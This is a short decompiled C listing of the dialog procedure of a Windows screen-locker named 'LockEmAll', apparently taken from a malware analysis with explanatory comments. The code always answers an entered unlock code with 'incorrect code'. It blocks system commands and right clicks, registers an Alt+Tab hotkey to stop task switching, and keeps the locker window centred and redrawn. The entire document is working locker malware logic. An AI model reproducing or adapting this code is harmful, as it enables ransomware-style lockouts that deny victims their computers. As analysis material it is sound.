LockEmAll

signed int __stdcall DialogFunc(HWND hwnd, UINT uMsg, int wParam, int lParam)
{
  signed int result;

  if ( uMsg > 0x110 )
  {
    if ( uMsg == 0x111 )                        // WM_COMMAND
    {
      if ( wParam != 1002 )                     // id of button (ButtonClick handler)
        return 0;
      SetDlgItemTextA(hwnd, 1001, "Введен неверный код");// "Incorrect code" message, 1001 id of Edit control
    }
    else
    {
      if ( uMsg != 0x112 && uMsg != 0x204 )     // WM_SYSCOMMAND or WM_RBUTTONDOWN
        return 0;
    }
    return 1;
  }
  if ( uMsg == 0x110 )                          // WM_INITDIALOG
  {
    hWnd = GetDesktopWindow();
    RegisterHotKey(hwnd, 0, 1u, 9u);
    hThread = (int)CreateThread(0, 0, InvalidateRectRoutine, hwnd, 0, (LPDWORD)&uMsg);
    return 1;
  }
  if ( uMsg == 1 )                              // WM_CREATE
    return 0;
  if ( uMsg == 0xF )                            // WM_PAINT
  {
    GetWindowRect(hWnd, &Rect);
    SetWindowPos(hwnd, HWND_MESSAGE|0x2, (Rect.right - 800) / 2, (Rect.bottom - 600) / 2, 800, 600, 0x40u);
    RedrawLockerWindow(hwnd);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}